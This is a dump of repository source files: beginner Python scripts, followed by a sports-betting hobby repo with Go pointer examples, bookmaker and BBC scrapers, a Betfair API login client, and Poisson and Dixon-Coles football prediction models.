"text": "#Lottery machine\nimport random\n\nnum1=int(input(\"Enter your first number : \"))\nnum2=int(input(\"Enter your second number : \"))\nnum3=int(input(\"Enter your third number : \"))\nnum4=int(input(\"Enter your foth number : \"))\nnum5=int(input(\"Enter your fifth number : \"))\n\nX=[num1,num2,num3,num4,num5] #Users number list\nY=[]# Random Numbers List\nZ=[]# Matched Numbers List\n\nprint(\"Your Numbers : \",X)\n\n#make 5 rondom numbers\nfor i in range (5):\n Y.append(random.randrange(1,50,2))\n\nprint(\"Lottery Numbers : \",Y)\n\n#Numbers Matching \ndef match(x):\n if X[x]==Y[x]:\n Z.append(X[x])\n\nmatch(0)\nmatch(1)\nmatch(2)\nmatch(3)\nmatch(4)\n\nprint (\"You have\",len(Z),\"Matches\")\n"
},
{
"alpha_fraction": 0.5409836173057556,
"alphanum_fraction": 0.5819672346115112,
"avg_line_length": 14.25,
"blob_id": "1d5c74693f071a7f300e894646d091b94e639be7",
"content_id": "c8286b5a18ea19aebf29f0de50ca291821a3284b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 244,
"license_type": "no_license",
"max_line_length": 38,
"num_lines": 16,
"path": "/Leap Year Finder.py",
"repo_name": "BinuraMethmal/Python-Simple-works",
"src_encoding": "UTF-8",
"text": "#Leap Year Finder\n\nyear=int(input(\"Enter the year, \"))\n\nx= year % 4\ny= year % 100\nz = year % 400\n\nif z==0:\n print(year,\" is a leap year.\")\n\nelif x==0 and y!=0:\n print(year,\" is a leap year.\")\n\nelse:\n print(year,\" is not a leap year.\")\n"
}
] | 3 |
ck1357/sportshacker-samples | https://github.com/ck1357/sportshacker-samples | 7f45298cce8a694f93c18152cfd49badda67257e | f1e3534c5f95f84a3c3fd73828523929d03bcf28 | 944b5a045b2f2fb88cd0f96fd2c699c6d76498e1 | refs/heads/master | 2021-01-23T00:01:53.187472 | 2014-02-05T10:54:46 | 2014-02-05T10:54:46 | 16,820,664 | 6 | 5 | null | null | null | null | null | [
{
"alpha_fraction": 0.612500011920929,
"alphanum_fraction": 0.6208333373069763,
"avg_line_length": 10.899999618530273,
"blob_id": "b0a317369809cc58742a78ce0aa6450ee5240b9a",
"content_id": "33659bf628cceb3680c9129c8a9798bd108f25b0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Go",
"length_bytes": 240,
"license_type": "no_license",
"max_line_length": 32,
"num_lines": 20,
"path": "/go_pointers/struct.go",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "package main\n\nimport \"fmt\"\n\ntype MyStruct struct {\n\tMyInt int\n}\n\nfunc update_struct(x MyStruct) {\n\tx.MyInt+=1\n}\n\nfunc main() {\n\tx := MyStruct{\n\tMyInt: 0,\n\t}\n\tfmt.Printf(\"Before: %v\\n\", x)\n\tupdate_struct(x)\n\tfmt.Printf(\"After: %v\\n\", x)\n}\n\n\n"
},
{
"alpha_fraction": 0.5651006698608398,
"alphanum_fraction": 0.5825503468513489,
"avg_line_length": 40.38888931274414,
"blob_id": "8b01c2b3ff01a83dd08f9e9ae4196a4246f15faf",
"content_id": "18b820caa630c06b62653aeba08f896b81276a8c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 745,
"license_type": "no_license",
"max_line_length": 123,
"num_lines": 18,
"path": "/feeds/bbc.py",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "import lxml.html, urllib\n\ndef get_league_table(url):\n doc=lxml.html.fromstring(urllib.urlopen(url).read())\n teams=[]\n for row in doc.xpath(\"//table/tbody/tr\"):\n name=row.xpath(\"td[@class='team-name']/a\")[0]\n points=row.xpath(\"td[@class='points']\")[0]\n gd=row.xpath(\"td[@class='goal-difference']\")[0]\n played=row.xpath(\"td[@class='played']\")[0]\n teams.append({\"name\": name.text,\n \"points\": int(points.text),\n \"goal_difference\": int(gd.text),\n \"played\": int(played.text)})\n return teams\n\nif __name__==\"__main__\":\n print get_football_table(\"http://polling.bbc.co.uk/sport/shared/football/league-tables/partial/competitions/118996114\")\n"
},
{
"alpha_fraction": 0.5976729989051819,
"alphanum_fraction": 0.6044090390205383,
"avg_line_length": 31.019607543945312,
"blob_id": "99a53ecea67c0055857e76dea78c4ec19a324c26",
"content_id": "765b2835afe15c58cb8b9166be16fb217b630a5c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4899,
"license_type": "no_license",
"max_line_length": 101,
"num_lines": 153,
"path": "/apis/betfair_login.py",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "import xml.dom.minidom as xml\n\nXML=xml.Document()\n\ndef element(name, **attrs):\n el=XML.createElement(name)\n for name, value in attrs.items():\n el.setAttribute(name, value)\n return el\n\ndef subelement(parent, name, **attrs):\n el=element(name)\n for name, value in attrs.items():\n el.setAttribute(name, value)\n parent.appendChild(el)\n return el\n\ndef add_text(element, text):\n element.appendChild(XML.createTextNode(text))\n return element\n\ndef get_text(element):\n buf=[]\n for el in element.childNodes:\n if el.nodeType==el.TEXT_NODE:\n buf.append(el.data)\n return ''.join(buf)\n\ndef get_children(el, name):\n return el.getElementsByTagName(name)\n\ndef get_child(el, name):\n children=get_children(el, name)\n if children==[]:\n raise RuntimeError(\"No '%s' children\" % name)\n return children[0]\n\ndef node_text(el, name):\n return get_text(get_child(el, name))\n\nGlobal, Exchange = \"global\", \"exchange\"\n\nAPIEndpoints={\n \"global\": \"/global/v3/BFGlobalService\",\n \"exchange\": \"/exchange/v5/BFExchangeService\"\n}\n\nSOAPNamespaces={\n \"xmlns:SOAP-ENV\": \"http://schemas.xmlsoap.org/soap/envelope/\",\n \"xmlns:SOAP-ENC\": \"http://schemas.xmlsoap.org/soap/encoding/\",\n \"xmlns:xsi\": \"http://www.w3.org/2001/XMLSchema-instance\",\n \"xmlns:xsd\": \"http://www.w3.org/2001/XMLSchema\"\n}\n\nAPINamespaces={\n \"global\": \"https://api.betfair.com/global/v3/BFGlobalService\",\n \"exchange\": \"http://www.betfair.com/publicapi/v5/BFExchangeService\"\n}\n\ndef soap_decorator(ns, action):\n def wrap(fn):\n def wrapped_f(*args, **kwargs):\n env=element(\"SOAP-ENV:Envelope\", **SOAPNamespaces)\n body=subelement(env, \"SOAP-ENV:Body\")\n actn=subelement(body, \"m:%s\" % action)\n actn.setAttribute(\"xmlns:m\", APINamespaces[ns])\n actn.appendChild(fn(*args, **kwargs)) # result of decorated function is bound to envelope\n return env\n return wrapped_f\n return wrap\n\ndef init_request(token=None):\n req=element(\"m:request\")\n if token:\n header=subelement(req, \"header\")\n for name, value in [(\"clientStamp\", \"0\"),\n (\"sessionToken\", token)]:\n child=subelement(header, name)\n add_text(child, value)\n return req\n\ndef assert_response_ok(fn):\n def wrapped_f(resp, *args, **kwargs):\n errcodes=[get_text(error) \n for error in get_children(resp, \"errorCode\")]\n for code in errcodes:\n if code!=\"OK\":\n raise RuntimeError(\"Betfair returned '%s'\" % code)\n return fn(resp, *args, **kwargs)\n return wrapped_f\n\ndef strip_response_result(fn):\n def wrapped_f(resp, *args, **kwargs):\n results=get_children(resp, \"n:Result\")\n return fn(results[0], *args, **kwargs)\n return wrapped_f\n\nclass BetfairAPITransport:\n\n Host=\"api.betfair.com\"\n Port=443\n UserAgent=\"python27\"\n\n def init_headers(self, action, payload):\n return {\"SOAPAction\": \"urn:%s\" % action,\n \"Content-Type\": \"text/xml\",\n \"Content-Length\": str(len(payload)),\n \"User-Agent\": self.UserAgent} \n\n def fetch(self, path, action, request):\n payload=xml.Document().appendChild(request).toxml(encoding=\"utf-8\") \n # print payload\n headers=self.init_headers(action, payload)\n import httplib\n http=httplib.HTTPSConnection(self.Host, self.Port)\n http.request(\"POST\", path, payload, headers)\n resp=http.getresponse()\n if resp.status!=200:\n raise RuntimeError(\"Betfair returned HTTP %i\" % resp.status)\n body=resp.read()\n # print body\n return xml.parseString(body) \n\ndef login(username, password, http):\n endpoint, action = Global, \"login\"\n @soap_decorator(endpoint, action)\n def create_request(username, password):\n req=init_request()\n for name, value in [(\"username\", username),\n (\"password\", password),\n (\"locationId\", \"0\"),\n (\"vendorSoftwareId\", \"0\"),\n (\"productId\", \"82\")]: # NB Free API Product code\n el=subelement(req, name)\n add_text(el, value)\n return req\n @assert_response_ok\n @strip_response_result\n def handle_response(resp):\n return node_text(resp, \"sessionToken\")\n req=create_request(username, password)\n resp=http.fetch(APIEndpoints[endpoint], action, req)\n return handle_response(resp)\n\nif __name__==\"__main__\":\n try:\n import sys\n if len(sys.argv) < 3:\n raise RuntimeError(\"Please enter username, password\")\n username, password = sys.argv[1], sys.argv[2]\n print login(username, password, BetfairAPITransport())\n except RuntimeError, error:\n print \"Error: %s\" % str(error)\n"
},
{
"alpha_fraction": 0.5608465671539307,
"alphanum_fraction": 0.5714285969734192,
"avg_line_length": 12.357142448425293,
"blob_id": "6b1d65e1e5683957455ca75b646d213a21478150",
"content_id": "d94db840d882738a3639f13c7edbbc04409c71a2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Go",
"length_bytes": 189,
"license_type": "no_license",
"max_line_length": 30,
"num_lines": 14,
"path": "/go_pointers/slice_append.go",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "package main\n\nimport \"fmt\"\n\nfunc update_slice(x []int) {\n\tx = append(x, 1)\n}\n\nfunc main() {\n\tx := []int{0}\n\tfmt.Printf(\"Before: %v\\n\", x)\n\tupdate_slice(x)\n\tfmt.Printf(\"After: %v\\n\", x)\n}\n\n\n"
},
{
"alpha_fraction": 0.5609756112098694,
"alphanum_fraction": 0.5731707215309143,
"avg_line_length": 10.571428298950195,
"blob_id": "8bdb5cbeaf558190946b7fd1702df0e4a7392bc6",
"content_id": "a28fe0761d32d4341b1b1bd5febf26528dd8f034",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Go",
"length_bytes": 164,
"license_type": "no_license",
"max_line_length": 30,
"num_lines": 14,
"path": "/go_pointers/int.go",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "package main\n\nimport \"fmt\"\n\nfunc update_int(x int) {\n\tx+=1\n}\n\nfunc main() {\n\tx := 0\n\tfmt.Printf(\"Before: %v\\n\", x)\n\tupdate_int(x)\n\tfmt.Printf(\"After: %v\\n\", x)\n}\n\n\n"
},
{
"alpha_fraction": 0.5655395984649658,
"alphanum_fraction": 0.5812876224517822,
"avg_line_length": 40.5,
"blob_id": "df8a9734bf3ac0d7a531f4410515d792a394adac",
"content_id": "6efdd9204ff313e1f147c1487c4584ffde69508c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2159,
"license_type": "no_license",
"max_line_length": 164,
"num_lines": 52,
"path": "/models/season_points.py",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "import lxml.html, json, re, urllib\n\ndef simulate_points(quotes, paths, draw_prob=0.3):\n import random\n simpoints=dict([(quote[\"name\"], \n [quote[\"so_far\"][0] \n for i in range(paths)])\n for quote in quotes])\n ngames=2*(len(quotes)-1) \n for quote in quotes:\n midprice=(quote[\"bid\"]+quote[\"offer\"])/float(2)\n currentpoints, played = quote[\"so_far\"]\n toplay=ngames-played\n expectedpoints=(midprice-currentpoints)/float(toplay) \n winprob=(expectedpoints-draw_prob)/float(3) \n for i in range(paths):\n for j in range(toplay):\n q=random.random()\n if q < winprob:\n simpoints[quote[\"name\"]][i]+=3\n elif q < winprob+draw_prob:\n simpoints[quote[\"name\"]][i]+=1\n return [{\"name\": key,\n \"simulated_points\": value}\n for key, value in simpoints.items()]\n\ndef calc_position_probabilities(simpoints, paths):\n positionprob=dict([(team[\"name\"], \n [0 for i in range(len(simpoints))])\n for team in simpoints])\n for i in range(paths):\n sortedpoints=sorted([(team[\"name\"], team[\"simulated_points\"][i])\n for team in simpoints],\n key=lambda x: -x[-1])\n for j in range(len(simpoints)):\n name=sortedpoints[j][0]\n positionprob[name][j]+=1/float(paths)\n return [{\"name\": key,\n \"position_probabilities\": value}\n for key, value in positionprob.items()]\n\ndef generate_position_probabilities(url, paths):\n quotes=get_market_quotes(url)\n simpoints=simulate_points(quotes, paths)\n return calc_position_probabilities(simpoints, paths)\n\nif __name__==\"__main__\":\n import feeds.sporting_index as spindex\n prices=spindex.get_prices(\"http://www.sportingindex.com/spread-betting/football-domestic/premier-league/mm4.uk.meeting.4191659/premier-league-points-2013-2014\")\n paths=10000\n simpoints=simulate_points(prices, paths)\n print calc_position_probabilities(simpoints, paths)\n\n"
},
{
"alpha_fraction": 0.4963906705379486,
"alphanum_fraction": 0.5082802772521973,
"avg_line_length": 27.035715103149414,
"blob_id": "a66f13f93642345d00b36519df1b50335ac50d25",
"content_id": "d3ed3ee75b8369269d267c0e0be892ec29399340",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2355,
"license_type": "no_license",
"max_line_length": 97,
"num_lines": 84,
"path": "/misc/name_matcher.py",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "def match_exact(a, b):\n return a==b\n\n\"\"\"\nhttp://stackoverflow.com/questions/7331462/check-if-a-string-is-a-possible-abbrevation-for-a-name\n\"\"\"\n\ndef is_abbreviation(abbrev, text):\n words=text.split()\n if not abbrev:\n return True\n if abbrev and not text:\n return False\n if abbrev[0]!=text[0]: # minor modification\n return False\n return (is_abbreviation(abbrev[1:],' '.join(words[1:])) or\n any(is_abbreviation(abbrev[1:],text[i+1:])\n for i in range(len(words[0]))))\n\ndef match_abbreviation(a, b):\n return (is_abbreviation(a, b) or\n is_abbreviation(b, a))\n\n\"\"\"\nhttp://hetland.org/coding/python/levenshtein.py\n\"\"\"\n\ndef levenshtein(a, b):\n n, m = len(a), len(b)\n if n > m:\n a, b = b, a\n n, m = m, n \n current=range(n+1)\n for i in range(1, m+1):\n previous, current = current, [i]+[0]*n\n for j in range(1, n+1):\n add, delete = previous[j]+1, current[j-1]+1\n change=previous[j-1]\n if a[j-1]!=b[i-1]:\n change=change+1\n current[j]=min(add, delete, change)\n return current[n]\n\ndef match_levenshtein(a, b, threshold=2):\n return levenshtein(a, b) <= threshold\n\ndef match_tokens(A, B):\n for a in A.split(\" \"):\n for b in B.split(\" \"):\n if (match_exact(a, b) or\n match_levenshtein(a, b)):\n return True\n return False\n\nMatchers=[match_exact,\n match_abbreviation,\n match_levenshtein,\n match_tokens]\n\ndef match(names, queries, matchers=Matchers):\n matches={}\n for query in queries:\n for matcher in matchers:\n for name in names:\n if matcher(query.lower(), name.lower()):\n if query not in matches:\n matches[query]=name\n break\n unmatched=[query for query in queries \n if query not in matches]\n return (matches, unmatched)\n\nif __name__==\"__main__\":\n print match([\"Arsenal\", \n \"Man Utd\",\n \"Man City\"],\n [\"Manchester United\",\n \"Man United\",\n \"Man U\",\n \"Manchester City\",\n \"Man C\",\n \"Arsenal\",\n \"Asrenal\",\n \"Liverpool\"])\n"
},
{
"alpha_fraction": 0.5225095748901367,
"alphanum_fraction": 0.5340038537979126,
"avg_line_length": 25.769229888916016,
"blob_id": "ac77266cd0028b87230e10780e5882f6f8b11cd1",
"content_id": "186050a20c9cfc3ca918f2dc80af5a1211a12ce4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2088,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 78,
"path": "/models/correct_score.py",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "import math\n\nimport numpy as np\n\ndef poisson(m, n):\n p=math.exp(-m)\n r=[p]\n for i in range(1, n):\n p*=m/float(i)\n r.append(p)\n return r\n\ndef simulate_correct_score(mx, my, n):\n return np.outer(poisson(mx, n),\n poisson(my, n))\n\nclass Grid(list):\n\n def __init__(self, data):\n list.__init__(self, data)\n\n def sum(self, filterfn):\n return sum([self[i][j] \n for i in range(len(self))\n for j in range(len(self))\n if filterfn(i, j)])\n \n @property\n def home_win(self):\n return self.sum(lambda i, j: i > j)\n\n @property\n def away_win(self):\n return self.sum(lambda i, j: i < j)\n\n @property\n def draw(self):\n return self.sum(lambda i, j: i==j)\n\n @property\n def match_odds(self):\n return [self.home_win,\n self.away_win,\n self.draw]\n\n def correct_score(self, i, j):\n return self[i][j]\n\n def total_goals(self, overunder, strike):\n if overunder==\"over\":\n filterfn=lambda i, j: i+j > strike\n else:\n filterfn=lambda i, j: i+j < strike\n return self.sum(filterfn)\n\n def asian_handicap(self, homeaway, strike):\n if homeaway==\"home\":\n filterfn=lambda i, j: i-j > strike\n else:\n filterfn=lambda i, j: j-i > strike\n return self.sum(filterfn)\n\ndef solve_match_odds(prob, n):\n def errfn(m, target, n):\n grid=Grid(simulate_correct_score(mx=m[0], my=m[1], n=n))\n return np.sum(np.subtract(grid.match_odds, target)**2)\n from scipy import optimize\n return optimize.fmin(errfn, (1, 1), args=(prob, n))\n\nif __name__==\"__main__\":\n Target, N = [0.5, 0.2, 0.3], 10 \n r=solve_match_odds(Target, N)\n grid=Grid(simulate_correct_score(r[0], r[1], N))\n print grid.match_odds\n print grid.total_goals(\"over\", 2.5)\n print grid.total_goals(\"under\", 2.5)\n print grid.asian_handicap(\"home\", 1.5)\n print grid.asian_handicap(\"away\", 1.5)\n"
},
{
"alpha_fraction": 0.695652186870575,
"alphanum_fraction": 0.695652186870575,
"avg_line_length": 13.666666984558105,
"blob_id": "14e568a7e793de7bf15694f039874fc71a7bf237",
"content_id": "a30814755c0417bf54785f36d41449164b96e808",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 46,
"license_type": "no_license",
"max_line_length": 32,
"num_lines": 3,
"path": "/todo.txt",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "< short >\n\nclean up dixon coles dev scripts\n\n\n"
},
{
"alpha_fraction": 0.5156596302986145,
"alphanum_fraction": 0.5248339176177979,
"avg_line_length": 38.51250076293945,
"blob_id": "c4d051282a5ca3f0f8039fcbbb29e3ae79d8b654",
"content_id": "b95688e99f2afe3f4e2dfc830b565420692ffdef",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3161,
"license_type": "no_license",
"max_line_length": 95,
"num_lines": 80,
"path": "/feeds/oddschecker.py",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "import lxml.html, re, urllib\n\ndef get_match_events(url):\n doc=lxml.html.fromstring(urllib.urlopen(url).read())\n fixtures=doc.xpath(\"//div[@id='fixtures']\")[0]\n rows=fixtures.xpath(\"div/table/tbody/tr\")\n events, date = [], None\n for row in rows:\n if (\"class\" in row.attrib and\n \"date\" in row.attrib[\"class\"]):\n date=row.xpath(\"td[@class='day']/p\")[0].text\n else:\n time=row.xpath(\"td[@class='time']/p\")[0].text\n spans=row.xpath(\"td/p/span[@class='add-to-bet-basket']\")\n hometeam, awayteam = (spans[0].attrib[\"data-name\"], \n spans[2].attrib[\"data-name\"])\n link=row.xpath(\"td[@class='betting']/a\")[0].attrib[\"href\"]\n event={\"kickoff\": \"%s %s\" % (date, time),\n \"name\": \"%s vs %s\" % (hometeam, awayteam),\n \"link\": link}\n events.append(event)\n return events\n\ndef parse_fractional_quote(text):\n tokens=[int(tok) for tok in text.split(\"/\")]\n if len(tokens)==1:\n tokens.append(1)\n return 100/(1+tokens[0]/float(tokens[1]))\n\ndef get_prices(url):\n doc=lxml.html.fromstring(urllib.urlopen(url).read())\n table=doc.xpath(\"//table[@class='eventTable ']\")[0]\n rows=table.xpath(\"tbody/tr\")\n \"\"\"\n http://stackoverflow.com/questions/4624062/get-all-text-inside-a-tag-in-lxml\n \"\"\"\n def stringify_children(node):\n from lxml.etree import tostring\n from itertools import chain\n parts = ([node.text] +\n list(chain(*([c.text, tostring(c), c.tail] for c in node.getchildren()))) +\n [node.tail])\n return ''.join(filter(None, parts))\n def clean_text(text):\n return \" \".join([tok for tok in re.split(\"\\\\s\", text)\n if tok!=''])\n def filter_tail_text(text):\n tokens=[tok for tok in re.split(\"\\\\s\", text)\n if tok!='']\n return tokens[-1]\n items={}\n for row in rows:\n oddscheckerid=row.attrib[\"data-participant-id\"]\n name=None\n for td in row.xpath(\"td\"):\n if not \"id\" in td.attrib:\n continue\n suffix=td.attrib[\"id\"].split(\"_\")[-1]\n if suffix==\"name\":\n name=clean_text(td.text)\n continue\n if not re.search(\"^\\\\D{2}$\", suffix):\n continue\n if suffix==\"SI\":\n continue\n if td.text==None:\n continue\n items.setdefault(name, {\"name\": name,\n \"bookmaker\": None,\n \"price\": 1e10})\n price=parse_fractional_quote(filter_tail_text(stringify_children(td)))\n if price < items[name][\"price\"]:\n items[name][\"price\"]=price\n items[name][\"bookmaker\"]=suffix\n return sorted(items.values(),\n key=lambda x: -x[\"price\"])\n\nif __name__==\"__main__\":\n # print get_match_events(\"http://www.oddschecker.com/football/english/premier-league\")\n print get_prices(\"http://www.oddschecker.com/football/english/premier-league/top-3-finish\")\n"
},
{
"alpha_fraction": 0.5634810924530029,
"alphanum_fraction": 0.5789473652839661,
"avg_line_length": 36.66086959838867,
"blob_id": "b3a19c2ae9ecfc0b627c3f9b68809bdcfc1ad250",
"content_id": "d9a1af1215c5f698a9f7b35297a4bf49c2c36d35",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4332,
"license_type": "no_license",
"max_line_length": 213,
"num_lines": 115,
"path": "/models/match_odds_solver.py",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "\"\"\"\nNB individual team errors are unlikely to converge on zero as H/A bias, draw parameters aren't optimised\n\"\"\"\n\n\"\"\"\nNB should borrow from dixon-coles and solve for correct score grid rather than match odds; do you thereby removed the need for draw parameterisation ?\n\"\"\"\n\nimport math, random\n\nHomeAwayBias=1.3\nDrawMax=0.3\nDrawCurvature=0.75\n\ndef simulate_1x2_probabilities(fixture, abilities):\n homeability=math.exp(abilities[fixture[\"home_team\"]])\n awayability=math.exp(abilities[fixture[\"away_team\"]])\n homeability*=HomeAwayBias\n awayability/=HomeAwayBias\n ratio=homeability/float(homeability+awayability)\n drawprob=DrawMax-DrawCurvature*(ratio-0.5)**2\n return [ratio*(1-drawprob),\n (1-ratio)*(1-drawprob),\n drawprob]\n\ndef calc_1x2_error(abilities, fixtures):\n probabilities=[simulate_1x2_probabilities(fixture=fixture, \n abilities=abilities)\n for fixture in fixtures]\n def calc_error(X, Y):\n return (sum([(x-y)**2 \n for x, y in zip(X, Y)])/float(len(X)))**0.5\n errors=[calc_error(prob, fixture[\"probabilities\"])\n for prob, fixture in zip(probabilities,\n fixtures)]\n return sum(errors)/float(len(fixtures))\n\n\"\"\"\nthis solver is probably very inefficient; however it has the merit of keeping abilities within sensible bounds, something which you may have no control over with other optimisation methods (eg scipy.optimize.fmin)\n\"\"\"\n\ndef solve_inefficiently(teams, fixtures, generations=1000, decay=2):\n abilities=dict([(team[\"name\"], random.gauss(0, 1))\n for team in teams])\n best=calc_1x2_error(fixtures=fixtures, \n abilities=abilities)\n for i in range(generations):\n decayfac=((generations-i)/float(generations))**decay\n teamname=teams[i%len(teams)][\"name\"]\n delta=random.gauss(0, 1)*decayfac\n abilities[teamname]+=delta\n # up\n err=calc_1x2_error(fixtures=fixtures, \n abilities=abilities)\n if err < best:\n best=err\n continue\n # down\n abilities[teamname]-=2*delta # NB -=2*\n err=calc_1x2_error(fixtures=fixtures, \n abilities=abilities)\n if err < best:\n best=err \n continue\n # reset\n abilities[teamname]+=delta\n return (abilities, best)\n\ndef calc_ratings(teams, abilities):\n ratings=dict([(team[\"name\"], 0)\n for team in teams])\n denom=1/float(2*(len(teams)-1))\n for hometeam in teams:\n for awayteam in teams:\n if hometeam[\"name\"]==awayteam[\"name\"]:\n continue\n fixture={\"home_team\": hometeam[\"name\"],\n \"away_team\": awayteam[\"name\"]}\n p=simulate_1x2_probabilities(fixture=fixture,\n abilities=abilities)\n ratings[hometeam[\"name\"]]+=(3*p[0]+p[-1])*denom\n ratings[awayteam[\"name\"]]+=(3*p[1]+p[-1])*denom\n return ratings\n\nif __name__==\"__main__\":\n print \"Fetching data\"\n from feeds.football_data import get_results\n results=get_results(\"http://www.football-data.co.uk/mmz4281/1314/E0.csv\")\n def filter_teams(results):\n names=[]\n for result in results:\n for attr in [\"home_team\", \"away_team\"]:\n if result[attr] not in names:\n names.append(result[attr])\n return [{\"name\": name}\n for name in sorted(names)]\n teams=filter_teams(results)\n results=sorted(results, key=lambda x: x[\"date\"])\n results.reverse()\n n=6*len(teams)/2 # last 6 weeks\n trainingset=results[:n]\n print \"Solving\"\n abilities, _ = solve_inefficiently(teams=teams, \n fixtures=trainingset)\n ratings=calc_ratings(teams, abilities)\n def format_name(text, n=16):\n if len(text) < n:\n return text+\" \".join([\"\" for i in range(n-len(text))])\n else:\n return text[:n]\n print\n for key, value in sorted([(key, value) \n for key, value in ratings.items()],\n key=lambda x: -x[-1]):\n print \"%s %.5f\" % (format_name(key), value)\n\n"
},
{
"alpha_fraction": 0.538922131061554,
"alphanum_fraction": 0.5548902153968811,
"avg_line_length": 32.62416076660156,
"blob_id": "3fbe3cb810e37448b1e5ab39bc1afddd643669b6",
"content_id": "9d0bcb9f76103385d2de18a4a2f7388b927a1711",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5010,
"license_type": "no_license",
"max_line_length": 222,
"num_lines": 149,
"path": "/models/dixon_coles.py",
"repo_name": "ck1357/sportshacker-samples",
"src_encoding": "UTF-8",
"text": "\"\"\"\nhttp://people.maths.ox.ac.uk/siamstudentchapter/webpages/2011_Conference/Robert_Talk.pdf\n\"\"\"\n\nimport math, random\n\nimport numpy as np\n\nBaseGoals=1.1\nHomeAwayBias=1.3\n\ndef poisson(m, n):\n p=math.exp(-m)\n r=[p]\n for i in range(1, n):\n p*=m/float(i)\n r.append(p)\n return r\n\nclass Grid(list):\n\n def __init__(self, data):\n list.__init__(self, data)\n\n def sum(self, filterfn):\n return sum([self[i][j] \n for i in range(len(self))\n for j in range(len(self))\n if filterfn(i, j)])\n \n @property\n def home_win(self):\n return self.sum(lambda i, j: i > j)\n\n @property\n def away_win(self):\n return self.sum(lambda i, j: i < j)\n\n @property\n def draw(self):\n return self.sum(lambda i, j: i==j)\n\n @property\n def match_odds(self):\n return [self.home_win,\n self.away_win,\n self.draw]\n\n\"\"\"\ntwo factor (attack, defence) model collapsed into one factor by using math.exp(ability) for attack, math.exp(-ability) for defence\nso a team with a high attack factor will have a low defence factor by definition; this might not always be true empirically (eg Barcelona ?), but much easier to keep control of a one- factor model rather than a two- factor\n\"\"\"\n\ndef generate_poisson_means(match, abilities):\n a0, a1, d0, d1 = (math.exp(abilities[match[\"home_team\"]]),\n math.exp(abilities[match[\"away_team\"]]),\n math.exp(-abilities[match[\"home_team\"]]),\n math.exp(-abilities[match[\"away_team\"]]))\n m0, m1 = (BaseGoals*a0*d1*HomeAwayBias,\n BaseGoals*a1*d0/HomeAwayBias)\n return (m0, m1)\n\ndef calc_likelihood(results, abilities):\n total=0\n for match in results:\n m0, m1 = generate_poisson_means(match, abilities)\n hg, ag = match[\"score\"]\n v0, v1 = (poisson(m0, hg+1),\n poisson(m1, ag+1))\n total+=v0[hg]*v1[ag]\n return total\n\n\"\"\"\nthis solver is probably very inefficient; however it has the merit of keeping abilities within sensible bounds, something which you may have no control over with other optimisation methods (eg scipy.optimize.fmin)\n\"\"\"\n\ndef solve_inefficiently(teams, results, generations=1000, decay=2):\n abilities=dict([(team[\"name\"], random.gauss(0, 1))\n for team in teams])\n best=calc_likelihood(results=results, \n abilities=abilities)\n for i in range(generations):\n if 0==i%100:\n print (i, best)\n decayfac=((generations-i)/float(generations))**decay\n teamname=teams[i%len(teams)][\"name\"]\n delta=random.gauss(0, 1)*decayfac\n abilities[teamname]+=delta\n # up\n resp=calc_likelihood(results=results, \n abilities=abilities)\n if resp > best:\n best=resp\n continue\n # down\n abilities[teamname]-=2*delta # NB -=2*\n resp=calc_likelihood(results=results, \n abilities=abilities)\n if resp > best:\n best=resp \n continue\n # reset\n abilities[teamname]+=delta\n return (abilities, best)\n\ndef calc_ratings(teams, abilities, n=10):\n ratings=dict([(team[\"name\"], 0)\n for team in teams])\n denom=1/float(2*(len(teams)-1))\n for hometeam in teams:\n for awayteam in teams:\n if hometeam[\"name\"]==awayteam[\"name\"]:\n continue\n fixture={\"home_team\": hometeam[\"name\"],\n \"away_team\": awayteam[\"name\"]}\n m0, m1 = generate_poisson_means(fixture, abilities)\n v0, v1 = (poisson(m0, n),\n poisson(m1, n))\n grid=Grid(np.outer(v0, v1))\n p=grid.match_odds\n ratings[hometeam[\"name\"]]+=(3*p[0]+p[-1])*denom\n ratings[awayteam[\"name\"]]+=(3*p[1]+p[-1])*denom\n return ratings\n\nif __name__==\"__main__\":\n from feeds.football_data import get_results\n results=get_results(\"http://www.football-data.co.uk/mmz4281/1213/E0.csv\")\n def filter_teams(results):\n names=[]\n for result in results:\n for attr in [\"home_team\", \"away_team\"]:\n if result[attr] not in names:\n names.append(result[attr])\n return [{\"name\": name}\n for name in sorted(names)]\n teams=filter_teams(results)\n print \"Solving\"\n abilities, _ = solve_inefficiently(teams, results)\n ratings=calc_ratings(teams, abilities)\n def format_name(text, n=16):\n if len(text) < n:\n return text+\" \".join([\"\" for i in range(n-len(text))])\n else:\n return text[:n]\n print\n for key, value in sorted([(key, value) \n for key, value in ratings.items()],\n key=lambda x: -x[-1]):\n print \"%s %.5f\" % (format_name(key), value)\n"
},
{
